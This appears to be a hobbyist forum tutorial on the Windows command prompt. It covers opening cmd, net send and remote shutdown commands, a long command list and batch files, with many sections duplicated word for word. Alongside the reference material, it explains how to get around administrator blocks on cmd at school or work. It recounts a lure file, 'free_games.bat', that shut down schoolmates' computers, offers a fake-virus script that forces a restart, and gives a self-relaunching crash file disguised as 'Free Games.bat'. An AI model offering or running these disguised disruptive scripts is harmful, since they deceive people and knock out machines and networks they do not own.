Now, say you got here not knowing what the cmd prompt is?
Well, the cmd prompt is a console on windows operating systems that controls your computer, from it you can do anything on your computer, and saves the hard work finding where to launch it from normally
Well, the cmd prompt is a console on windows operating systems that controls your computer, from it you can do anything on your computer, and saves the hard work finding where to launch it from normally
The cmd prompt can also let you control your network (lan or wlan). You can remotely shutdown someone elses computer on your network for example.
It is also the only way to find your internal ip address
In my posts i will show you how to open, use and master the cmd prompt
Opening the cmd console (basic)
There are multiple ways to open the cmd console ;
- Open run ( Windows key + R ) and type cmd
- Open start > all programs > accessories > Command prompt
If the two above operations are blocked try (e.g. at work or school) ;
- Open notepad (right click > new text document and open it), type cmd.exe and then save it as 'cmd.bat' (without the quotes) and then open that
If these techniques are all blocked you have to give some credit to your administrator, as most technicians cannot do this. Of course, if this is at home and you are the sole owner of your computer, unblock the cmd.exe
- Open run ( Windows key + R ) and type cmd
- Open start > all programs > accessories > Command prompt
If the two above operations are blocked try (e.g. at work or school) ;
- Open notepad (right click > new text document and open it), type cmd.exe and then save it as 'cmd.bat' (without the quotes) and then open that
If these techniques are all blocked you have to give some credit to your administrator, as most technicians cannot do this. Of course, if this is at home and you are the sole owner of your computer, unblock the cmd.exe
Network tricks (intermediate)
net view
Typing this shows all of the computers' names in your network/domain
net send (computer name) (message)
Typing this will send a message to any computer you type in. ex. net send User hello
net send * (message)
Typing this will send a message to all computers in your domain or network that are online. ex. net send * hello
net send /domain (message)
This does the exact same thing as the above, it sends a message to all computers in your domain or network. ex. net send /domain hello
net send (ip address) (message)
This supposobly sends a message to the computers ip you type in, (if this works please tell me) ex. net send 16.21.36.2 hello
shutdown -i
This allows you to shutdown any computer in your domain/ network remotly.
shutdown -m \\(computer name)
This is the same thing as the above it just is quicker. ex. shutdown -m \\user
ipconfig
Shows your internal IP address e.g. 192.168.2.1
Typing this shows all of the computers' names in your network/domain
net send (computer name) (message)
Typing this will send a message to any computer you type in. ex. net send User hello
net send * (message)
Typing this will send a message to all computers in your domain or network that are online. ex. net send * hello
net send /domain (message)
This does the exact same thing as the above, it sends a message to all computers in your domain or network. ex. net send /domain hello
net send (ip address) (message)
This supposobly sends a message to the computers ip you type in, (if this works please tell me) ex. net send 16.21.36.2 hello
shutdown -i
This allows you to shutdown any computer in your domain/ network remotly.
shutdown -m \\(computer name)
This is the same thing as the above it just is quicker. ex. shutdown -m \\user
ipconfig
Shows your internal IP address e.g. 192.168.2.1
All commands (advanced)
Note : these commands are all for windows xp and below, they can be found by typing 'help' in the cmd console
Also, to find out more about each command, type the command with /? after it (e.g. CD /?)
AT Schedules commands and programs to run on a computer.
ATTRIB Displays or changes file attributes.
BREAK Sets or clears extended CTRL+C checking.
CACLS Displays or modifies access control lists (ACLs) of files.
CALL Calls one batch program from another.
CD Displays the name of or changes the current directory.
CHCP Displays or sets the active code page number.
CHDIR Displays the name of or changes the current directory.
CHKDSK Checks a disk and displays a status report.
CHKNTFS Displays or modifies the checking of disk at boot time.
CLS Clears the console
CMD Starts a new session of the Windows command prompt
COLOR Sets the default console foreground and background colors.
COMP Compares the contents of two files or sets of files.
COMPACT Displays or alters the compression of files on NTFS partitions.
CONVERT Converts FAT volumes to NTFS. You cannot convert the
current drive.
COPY Copies one or more files to another location.
DATE Displays or sets the date.
DEL Deletes one or more files.
DIR Displays a list of files and subdirectories in a directory.
DISKCOMP Compares the contents of two floppy disks.
DISKCOPY Copies the contents of one floppy disk to another.
DOSKEY Edits command lines, recalls Windows commands, and creates macros.
ECHO Displays messages, or turns command echoing on or off.
ENDLOCAL Ends localization of environment changes in a batch file.
ERASE Deletes one or more files.
EXIT Quits the CMD.EXE program (command interpreter).
FC Compares two files or sets of files, and displays the differences
between them.
FIND Searches for a text string in a file or files.
FINDSTR Searches for strings in files.
FOR Runs a specified command for each file in a set of files.
FORMAT Formats a disk for use with Windows.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Directs the Windows command interpreter to a labeled line in a
batch program.
GRAFTABL Enables Windows to display an extended character set in graphics
mode.
HELP Provides Help information for Windows commands.
IF Performs conditional processing in batch programs.
LABEL Creates, changes, or deletes the volume label of a disk.
MD Creates a directory.
MKDIR Creates a directory.
MODE Configures a system device.
MORE Displays output one screen at a time.
MOVE Moves one or more files from one directory to another directory.
PATH Displays or sets a search path for executable files.
PAUSE Suspends processing of a batch file and displays a message.
POPD Restores the previous value of the current directory saved by PUSHD.
PRINT Prints a text file.
PROMPT Changes the Windows command prompt.
PUSHD Saves the current directory then changes it.
RD Removes a directory.
RECOVER Recovers readable information from a bad or defective disk.
REM Records comments (remarks) in batch files or CONFIG.SYS.
REN Renames a file or files.
RENAME Renames a file or files.
REPLACE Replaces files.
RMDIR Removes a directory.
SET Displays, sets, or removes Windows environment variables.
SETLOCAL Begins localization of environment changes in a batch file.
SHIFT Shifts the position of replaceable parameters in batch files.
SORT Sorts input.
START Starts a separate window to run a specified program or command.
SUBST Associates a path with a drive letter.
TIME Displays or sets the system time.
TITLE Sets the window title for a CMD.EXE session.
TREE Graphically displays the directory structure of a drive or path.
TYPE Displays the contents of a text file.
VER Displays the Windows version.
VERIFY Tells Windows whether to verify that your files are written
correctly to a disk.
VOL Displays a disk volume label and serial number.
XCOPY Copies files and directory trees
Also, to find out more about each command, type the command with /? after it (e.g. CD /?)
AT Schedules commands and programs to run on a computer.
ATTRIB Displays or changes file attributes.
BREAK Sets or clears extended CTRL+C checking.
CACLS Displays or modifies access control lists (ACLs) of files.
CALL Calls one batch program from another.
CD Displays the name of or changes the current directory.
CHCP Displays or sets the active code page number.
CHDIR Displays the name of or changes the current directory.
CHKDSK Checks a disk and displays a status report.
CHKNTFS Displays or modifies the checking of disk at boot time.
CLS Clears the console
CMD Starts a new session of the Windows command prompt
COLOR Sets the default console foreground and background colors.
COMP Compares the contents of two files or sets of files.
COMPACT Displays or alters the compression of files on NTFS partitions.
CONVERT Converts FAT volumes to NTFS. You cannot convert the
current drive.
COPY Copies one or more files to another location.
DATE Displays or sets the date.
DEL Deletes one or more files.
DIR Displays a list of files and subdirectories in a directory.
DISKCOMP Compares the contents of two floppy disks.
DISKCOPY Copies the contents of one floppy disk to another.
DOSKEY Edits command lines, recalls Windows commands, and creates macros.
ECHO Displays messages, or turns command echoing on or off.
ENDLOCAL Ends localization of environment changes in a batch file.
ERASE Deletes one or more files.
EXIT Quits the CMD.EXE program (command interpreter).
FC Compares two files or sets of files, and displays the differences
between them.
FIND Searches for a text string in a file or files.
FINDSTR Searches for strings in files.
FOR Runs a specified command for each file in a set of files.
FORMAT Formats a disk for use with Windows.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Directs the Windows command interpreter to a labeled line in a
batch program.
GRAFTABL Enables Windows to display an extended character set in graphics
mode.
HELP Provides Help information for Windows commands.
IF Performs conditional processing in batch programs.
LABEL Creates, changes, or deletes the volume label of a disk.
MD Creates a directory.
MKDIR Creates a directory.
MODE Configures a system device.
MORE Displays output one screen at a time.
MOVE Moves one or more files from one directory to another directory.
PATH Displays or sets a search path for executable files.
PAUSE Suspends processing of a batch file and displays a message.
POPD Restores the previous value of the current directory saved by PUSHD.
PRINT Prints a text file.
PROMPT Changes the Windows command prompt.
PUSHD Saves the current directory then changes it.
RD Removes a directory.
RECOVER Recovers readable information from a bad or defective disk.
REM Records comments (remarks) in batch files or CONFIG.SYS.
REN Renames a file or files.
RENAME Renames a file or files.
REPLACE Replaces files.
RMDIR Removes a directory.
SET Displays, sets, or removes Windows environment variables.
SETLOCAL Begins localization of environment changes in a batch file.
SHIFT Shifts the position of replaceable parameters in batch files.
SORT Sorts input.
START Starts a separate window to run a specified program or command.
SUBST Associates a path with a drive letter.
TIME Displays or sets the system time.
TITLE Sets the window title for a CMD.EXE session.
TREE Graphically displays the directory structure of a drive or path.
TYPE Displays the contents of a text file.
VER Displays the Windows version.
VERIFY Tells Windows whether to verify that your files are written
correctly to a disk.
VOL Displays a disk volume label and serial number.
XCOPY Copies files and directory trees
Shutdown commands
One of the most powerful commands in the cmd is shutdown
Here are the basic commands
shutdown /s (shuts down the computer)
shutdown /l (logs you off)
shutdown /r (reboots)
shutdown //m *name of computer* (shuts down the named computer - a network command)
shutdown /a (aborts a shutdown, very useful)
Some extras to add on (can be added to any of these)
-c 'leave a comment here' (Allows you to show a comment when the command is being run, include the quotes if there is more than one letter)
-t # (sets a countdown, replace # with a number of seconds)
Here are the basic commands
shutdown /s (shuts down the computer)
shutdown /l (logs you off)
shutdown /r (reboots)
shutdown //m *name of computer* (shuts down the named computer - a network command)
shutdown /a (aborts a shutdown, very useful)
Some extras to add on (can be added to any of these)
-c 'leave a comment here' (Allows you to show a comment when the command is being run, include the quotes if there is more than one letter)
-t # (sets a countdown, replace # with a number of seconds)
Putting your commands into a batch file
Now, you may have been wondering, what is the point in doing this when it could well be faster getting to the shortcut?
Well, you can put your commands into a file that can be run, meaning it is much faster than getting the shortcut
To do this, open a notepad file and put in your commands (one line per command)
If you want to create a sequence, add 'delay' in between two commands (on its own line still), this will prompt for the user to press any key to continue
Now, once you have put all of the commands in, save the file as 'name.bat' (obviously, without the quotes. This will save the file as a batch file, which are run through command prompt.
For example, once on the school network i created a batch file name 'free_games.bat' and put it on the intranet, of course, as you can guess many people clicked on it
The batch file told them they were not allowed near this resource and shutdown there computer
It was a great laugh
Well, you can put your commands into a file that can be run, meaning it is much faster than getting the shortcut
To do this, open a notepad file and put in your commands (one line per command)
If you want to create a sequence, add 'delay' in between two commands (on its own line still), this will prompt for the user to press any key to continue
Now, once you have put all of the commands in, save the file as 'name.bat' (obviously, without the quotes. This will save the file as a batch file, which are run through command prompt.
For example, once on the school network i created a batch file name 'free_games.bat' and put it on the intranet, of course, as you can guess many people clicked on it
The batch file told them they were not allowed near this resource and shutdown there computer
It was a great laugh
Echo
The command echo can be used comically and seriously on the cmd prompt
This is the default
echo 'put your message here'
If you want to put it in a batch file, make sure to put delay directly after it, else the cmd will close back down
This is the default
echo 'put your message here'
If you want to put it in a batch file, make sure to put delay directly after it, else the cmd will close back down
A matrix batch file i created
Simply copy this into your own document and save it, but note the file forces the computer to shutdown after running (you can change this if you want)
'
'
title The matrix console color a echo off cls echo Welcome to the matrix pause echo Initializing agents echo . echo . echo . echo completed pause echo retrieving mission statistics echo . echo . echo . echo completed pause echo activating tracking chips echo . echo . echo . echo completed echo The current GMT time is time /t pause cls echo A super virus has been found on the system echo . echo Fighting super virus echo . echo Super virus defeated pause cls echo The computer will now restart for safety measures pause shutdown -r -c "Restarting for safety measures" -t 60
Computer crasher, opens infinity times (use carefully)
Save the small command file below as 'Free Games.bat' on the desktop and then just click on it to crash your computer (it opens itself infinity times) Edit the code and the name as you wish (if you change the name, the code must change and visa versa) '
echo off cls start desktop\Free Games.bat
